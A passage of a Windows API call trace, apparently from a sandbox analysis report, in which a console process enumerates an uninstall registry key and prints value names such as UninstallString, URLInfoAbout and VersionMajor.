_File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.266] lstrlenW (lpString="UninstallString") returned 15 [0149.266] __iob_func () returned 0x7fefd702a80 [0149.266] _fileno (_File=0x7fefd702ab0) returned 1 [0149.266] _errno () returned 0x204bb0 [0149.266] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.266] _errno () returned 0x204bb0 [0149.266] GetFileType (hFile=0x50) returned 0x1 [0149.266] lstrlenW (lpString="UninstallString") returned 15 [0149.266] GetConsoleOutputCP () returned 0x1b5 [0149.266] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0149.266] GetConsoleOutputCP () returned 0x1b5 [0149.266] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UninstallString", lpUsedDefaultChar=0x0) returned 15 [0149.266] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0149.266] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.266] __iob_func () returned 0x7fefd702a80 [0149.266] _fileno (_File=0x7fefd702ab0) returned 1 [0149.266] _errno () returned 0x204bb0 [0149.266] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.266] _errno () returned 0x204bb0 [0149.266] GetFileType (hFile=0x50) returned 0x1 [0149.266] lstrlenW (lpString=" ") returned 4 [0149.266] GetConsoleOutputCP () returned 0x1b5 [0149.266] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.266] GetConsoleOutputCP () returned 0x1b5 [0149.267] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.267] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.267] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.267] __iob_func () returned 0x7fefd702a80 [0149.267] _fileno (_File=0x7fefd702ab0) returned 1 [0149.267] _errno () returned 0x204bb0 [0149.267] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.267] _errno () returned 0x204bb0 [0149.267] GetFileType (hFile=0x50) returned 0x1 [0149.267] lstrlenW (lpString="REG_EXPAND_SZ") returned 13 [0149.267] GetConsoleOutputCP () returned 0x1b5 [0149.267] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0149.267] GetConsoleOutputCP () returned 0x1b5 [0149.267] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_EXPAND_SZ", lpUsedDefaultChar=0x0) returned 13 [0149.267] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0149.267] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.267] __iob_func () returned 0x7fefd702a80 [0149.267] _fileno (_File=0x7fefd702ab0) returned 1 [0149.267] _errno () returned 0x204bb0 [0149.267] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.267] _errno () returned 0x204bb0 [0149.267] GetFileType (hFile=0x50) returned 0x1 [0149.267] lstrlenW (lpString=" ") returned 4 [0149.267] GetConsoleOutputCP () returned 0x1b5 [0149.268] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.268] GetConsoleOutputCP () returned 0x1b5 [0149.268] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.268] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.268] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.268] __iob_func () returned 0x7fefd702a80 [0149.268] _fileno (_File=0x7fefd702ab0) returned 1 [0149.268] _errno () returned 0x204bb0 [0149.268] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.268] _errno () returned 0x204bb0 [0149.268] GetFileType (hFile=0x50) returned 0x1 [0149.268] lstrlenW (lpString="MsiExec.exe /X{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}") returned 52 [0149.268] GetConsoleOutputCP () returned 0x1b5 [0149.269] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0149.269] GetConsoleOutputCP () returned 0x1b5 [0149.269] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}", cchWideChar=52, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MsiExec.exe /X{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}", lpUsedDefaultChar=0x0) returned 52 [0149.269] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 52 [0149.269] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.269] __iob_func () returned 0x7fefd702a80 [0149.269] _fileno (_File=0x7fefd702ab0) returned 1 [0149.269] _errno () returned 0x204bb0 [0149.269] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.269] _errno () returned 0x204bb0 [0149.269] GetFileType (hFile=0x50) returned 0x1 [0149.269] lstrlenW (lpString="\n") returned 1 [0149.269] GetConsoleOutputCP () returned 0x1b5 [0149.269] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.269] GetConsoleOutputCP () returned 0x1b5 [0149.269] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.269] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.269] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.269] GetProcessHeap () returned 0x3c0000 [0149.269] GetProcessHeap () returned 0x3c0000 [0149.269] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.269] GetProcessHeap () returned 0x3c0000 [0149.269] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x6c [0149.269] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0149.270] RegEnumValueW (in: hKey=0x5c, dwIndex=0x11, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="URLInfoAbout", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.270] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLInfoAbout", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.270] GetProcessHeap () returned 0x3c0000 [0149.270] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.270] GetProcessHeap () returned 0x3c0000 [0149.270] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.270] GetProcessHeap () returned 0x3c0000 [0149.270] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.270] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLInfoAbout", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0149.270] __iob_func () returned 0x7fefd702a80 [0149.270] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.270] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.270] _fileno (_File=0x7fefd702ab0) returned 1 [0149.270] _errno () returned 0x204bb0 [0149.270] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.270] _errno () returned 0x204bb0 [0149.270] GetFileType (hFile=0x50) returned 0x1 [0149.270] lstrlenW (lpString=" ") returned 4 [0149.270] GetConsoleOutputCP () returned 0x1b5 [0149.270] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.270] GetConsoleOutputCP () returned 0x1b5 [0149.270] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.270] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.270] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.270] lstrlenW (lpString="URLInfoAbout") returned 12 [0149.270] __iob_func () returned 0x7fefd702a80 [0149.270] _fileno (_File=0x7fefd702ab0) returned 1 [0149.271] _errno () returned 0x204bb0 [0149.271] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.271] _errno () returned 0x204bb0 [0149.271] GetFileType (hFile=0x50) returned 0x1 [0149.271] lstrlenW (lpString="URLInfoAbout") returned 12 [0149.271] GetConsoleOutputCP () returned 0x1b5 [0149.271] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLInfoAbout", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0149.271] GetConsoleOutputCP () returned 0x1b5 [0149.271] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLInfoAbout", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="URLInfoAbout", lpUsedDefaultChar=0x0) returned 12 [0149.271] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0149.271] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.271] __iob_func () returned 0x7fefd702a80 [0149.271] _fileno (_File=0x7fefd702ab0) returned 1 [0149.271] _errno () returned 0x204bb0 [0149.271] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.271] _errno () returned 0x204bb0 [0149.271] GetFileType (hFile=0x50) returned 0x1 [0149.271] lstrlenW (lpString=" ") returned 4 [0149.271] GetConsoleOutputCP () returned 0x1b5 [0149.271] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.271] GetConsoleOutputCP () returned 0x1b5 [0149.271] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.271] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.272] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.272] __iob_func () returned 0x7fefd702a80 [0149.272] _fileno (_File=0x7fefd702ab0) returned 1 [0149.272] _errno () returned 0x204bb0 [0149.272] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.272] _errno () returned 0x204bb0 [0149.272] GetFileType (hFile=0x50) returned 0x1 [0149.272] lstrlenW (lpString="REG_SZ") returned 6 [0149.272] GetConsoleOutputCP () returned 0x1b5 [0149.272] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.272] GetConsoleOutputCP () returned 0x1b5 [0149.272] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.272] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.272] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.272] __iob_func () returned 0x7fefd702a80 [0149.272] _fileno (_File=0x7fefd702ab0) returned 1 [0149.272] _errno () returned 0x204bb0 [0149.272] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.272] _errno () returned 0x204bb0 [0149.272] GetFileType (hFile=0x50) returned 0x1 [0149.272] lstrlenW (lpString=" ") returned 4 [0149.272] GetConsoleOutputCP () returned 0x1b5 [0149.272] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.272] GetConsoleOutputCP () returned 0x1b5 [0149.273] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.273] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.273] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.273] __iob_func () returned 0x7fefd702a80 [0149.273] _fileno (_File=0x7fefd702ab0) returned 1 [0149.273] _errno () returned 0x204bb0 [0149.273] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.273] _errno () returned 0x204bb0 [0149.273] GetFileType (hFile=0x50) returned 0x1 [0149.273] lstrlenW (lpString="") returned 0 [0149.273] __iob_func () returned 0x7fefd702a80 [0149.273] _fileno (_File=0x7fefd702ab0) returned 1 [0149.273] _errno () returned 0x204bb0 [0149.273] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.273] _errno () returned 0x204bb0 [0149.273] GetFileType (hFile=0x50) returned 0x1 [0149.273] lstrlenW (lpString="\n") returned 1 [0149.273] GetConsoleOutputCP () returned 0x1b5 [0149.273] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.273] GetConsoleOutputCP () returned 0x1b5 [0149.273] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.273] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.273] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.273] GetProcessHeap () returned 0x3c0000 [0149.274] GetProcessHeap () returned 0x3c0000 [0149.274] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.274] GetProcessHeap () returned 0x3c0000 [0149.274] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.274] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.274] RegEnumValueW (in: hKey=0x5c, dwIndex=0x12, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="URLUpdateInfo", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.274] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLUpdateInfo", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.274] GetProcessHeap () returned 0x3c0000 [0149.274] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.274] GetProcessHeap () returned 0x3c0000 [0149.274] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.274] GetProcessHeap () returned 0x3c0000 [0149.274] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.274] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLUpdateInfo", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0149.274] __iob_func () returned 0x7fefd702a80 [0149.274] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.274] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.274] _fileno (_File=0x7fefd702ab0) returned 1 [0149.274] _errno () returned 0x204bb0 [0149.274] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.274] _errno () returned 0x204bb0 [0149.274] GetFileType (hFile=0x50) returned 0x1 [0149.274] lstrlenW (lpString=" ") returned 4 [0149.274] GetConsoleOutputCP () returned 0x1b5 [0149.274] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.274] GetConsoleOutputCP () returned 0x1b5 [0149.274] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.274] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.274] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.275] lstrlenW (lpString="URLUpdateInfo") returned 13 [0149.275] __iob_func () returned 0x7fefd702a80 [0149.275] _fileno (_File=0x7fefd702ab0) returned 1 [0149.275] _errno () returned 0x204bb0 [0149.275] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.275] _errno () returned 0x204bb0 [0149.275] GetFileType (hFile=0x50) returned 0x1 [0149.275] lstrlenW (lpString="URLUpdateInfo") returned 13 [0149.275] GetConsoleOutputCP () returned 0x1b5 [0149.275] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLUpdateInfo", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0149.275] GetConsoleOutputCP () returned 0x1b5 [0149.275] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLUpdateInfo", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="URLUpdateInfo", lpUsedDefaultChar=0x0) returned 13 [0149.275] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0149.275] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.275] __iob_func () returned 0x7fefd702a80 [0149.275] _fileno (_File=0x7fefd702ab0) returned 1 [0149.275] _errno () returned 0x204bb0 [0149.275] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.275] _errno () returned 0x204bb0 [0149.275] GetFileType (hFile=0x50) returned 0x1 [0149.275] lstrlenW (lpString=" ") returned 4 [0149.275] GetConsoleOutputCP () returned 0x1b5 [0149.276] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.276] GetConsoleOutputCP () returned 0x1b5 [0149.276] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.276] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.276] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.276] __iob_func () returned 0x7fefd702a80 [0149.276] _fileno (_File=0x7fefd702ab0) returned 1 [0149.276] _errno () returned 0x204bb0 [0149.276] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.276] _errno () returned 0x204bb0 [0149.276] GetFileType (hFile=0x50) returned 0x1 [0149.276] lstrlenW (lpString="REG_SZ") returned 6 [0149.276] GetConsoleOutputCP () returned 0x1b5 [0149.276] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.276] GetConsoleOutputCP () returned 0x1b5 [0149.276] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.276] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.276] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.276] __iob_func () returned 0x7fefd702a80 [0149.276] _fileno (_File=0x7fefd702ab0) returned 1 [0149.276] _errno () returned 0x204bb0 [0149.276] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.276] _errno () returned 0x204bb0 [0149.276] GetFileType (hFile=0x50) returned 0x1 [0149.276] lstrlenW (lpString=" ") returned 4 [0149.277] GetConsoleOutputCP () returned 0x1b5 [0149.277] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.277] GetConsoleOutputCP () returned 0x1b5 [0149.277] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.277] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.277] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.277] __iob_func () returned 0x7fefd702a80 [0149.277] _fileno (_File=0x7fefd702ab0) returned 1 [0149.277] _errno () returned 0x204bb0 [0149.277] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.277] _errno () returned 0x204bb0 [0149.277] GetFileType (hFile=0x50) returned 0x1 [0149.277] lstrlenW (lpString="") returned 0 [0149.277] __iob_func () returned 0x7fefd702a80 [0149.277] _fileno (_File=0x7fefd702ab0) returned 1 [0149.277] _errno () returned 0x204bb0 [0149.277] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.277] _errno () returned 0x204bb0 [0149.277] GetFileType (hFile=0x50) returned 0x1 [0149.277] lstrlenW (lpString="\n") returned 1 [0149.277] GetConsoleOutputCP () returned 0x1b5 [0149.277] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.277] GetConsoleOutputCP () returned 0x1b5 [0149.278] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.278] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.278] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.278] GetProcessHeap () returned 0x3c0000 [0149.278] GetProcessHeap () returned 0x3c0000 [0149.278] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.278] GetProcessHeap () returned 0x3c0000 [0149.278] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.278] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.278] RegEnumValueW (in: hKey=0x5c, dwIndex=0x13, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="VersionMajor", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.278] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMajor", dwFlags=0xffff, pdwType=0x0, pvData=0x0, 